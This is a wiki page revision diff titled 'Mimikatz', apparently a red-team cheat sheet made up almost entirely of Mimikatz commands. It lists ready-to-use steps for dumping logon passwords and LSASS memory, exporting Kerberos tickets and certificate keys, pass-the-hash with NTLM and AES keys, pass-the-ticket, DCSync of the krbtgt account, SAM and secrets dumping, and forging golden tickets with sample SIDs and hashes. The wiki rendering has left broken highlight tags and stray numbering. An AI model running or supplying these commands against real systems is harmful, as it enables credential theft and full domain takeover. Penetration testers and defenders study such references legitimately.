Mimikatz: Difference between revisions

From RCATs
No edit summary
No edit summary
Line 3: Line 3:


==sekurlsa==
==sekurlsa==
<syntaxhighlight lang="powershell">
Test-AppLockerPolicy
<syntaxhighlight lang="powershell">
<syntaxhighlight lang="powershell">
# This command is used to extract logon passwords from the Windows Security Support Provider (SSP)
# This command is used to extract logon passwords from the Windows Security Support Provider (SSP)

Revision as of 18:28, 25 January 2023

Commands

sekurlsa

<syntaxhighlight lang="powershell">

  1. This command is used to extract logon passwords from the Windows Security Support Provider (SSP)

sekurlsa::logonpasswords This command will extract all logon passwords, including those of network connections. sekurlsa::logonPasswords full This command will export Kerberos tickets to a file. sekurlsa::tickets /export

  1. This command is used to perform a pass-the-hash attack on a Windows system. It attempts to authenticate as the specified user with the provided NTLM hash, and runs the specified command.

sekurlsa::pth /user:Administrateur /domain:winxp /ntlm:f193d757b4d487ab7e5a3743f038f713 /run:cmd </syntaxhighlight">

kerberos

<syntaxhighlight lang="powershell">

  1. This command will list and export Kerberos tickets to a file.

kerberos::list /export This command is used to impersonate a user by passing a Kerberos Ticket Granting Ticket (TGT) to the system. The specified file is used as the TGT. kerberos::ptt c:\chocolate.kirbi - This command is used to create a Golden Ticket, which is a forged Kerberos TGT that can be used to authenticate as any user in a specified domain. The specified parameters are used to set the properties of the Golden Ticket, such as the administrator account and domain SID kerberos::golden /admin:administrateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /ticket:chocolate.kirbi </syntaxhighlight">

  1. general

privilege::debug log log customlogfilename.log


  1. crypto

crypto::capi crypto::cng crypto::certificates /export crypto::certificates /export /systemstore:CERT_SYSTEM_STORE_LOCAL_MACHINE crypto::keys /export crypto::keys /machine /export

  1. vault & lsadump

vault::cred vault::list token::elevate vault::cred vault::list lsadump::sam lsadump::secrets lsadump::cache token::revert lsadump::dcsync /user:domain\krbtgt /domain:lab.local

  1. pth

sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a sekurlsa::pth /user:Administrateur /domain:chocolate.local /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9 sekurlsa::pth /user:Administrateur /domain:chocolate.local /ntlm:cc36cf7a8514893efccd332446158b1a /aes256:b7268361386090314acce8d9367e55f55865e7ef8e670fbe4262d6c94098a9e9 sekurlsa::pth /user:Administrator /domain:WOSHUB /ntlm:{NTLM_hash} /run:cmd.exe

  1. ekeys

sekurlsa::ekeys

  1. dpapi

sekurlsa::dpapi

  1. minidump

sekurlsa::minidump lsass.dmp

  1. ptt

kerberos::ptt Administrateur@krbtgt-CHOCOLATE.LOCAL.kirbi

  1. golden/silver

kerberos::golden /user:utilisateur /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /krbtgt:310b643c5316c8c3c70a10cfb17e2e31 /id:1107 /groups:513 /ticket:utilisateur.chocolate.kirbi kerberos::golden /domain:chocolate.local /sid:S-1-5-21-130452501-2365100805-3685010670 /aes256:15540cac73e94028231ef86631bc47bd5c827847ade468d6f6f739eb00c68e42 /user:Administrateur /id:500 /groups:513,512,520,518,519 /ptt /startoffset:-10 /endin:600 /renewmax:10080 kerberos::golden /admin:Administrator /domain:CTU.DOMAIN /sid:S-1-1-12-123456789-1234567890-123456789 /krbtgt:deadbeefboobbabe003133700009999 /ticket:Administrator.kiribi

  1. tgt

kerberos::tgt

  1. purge

kerberos::purge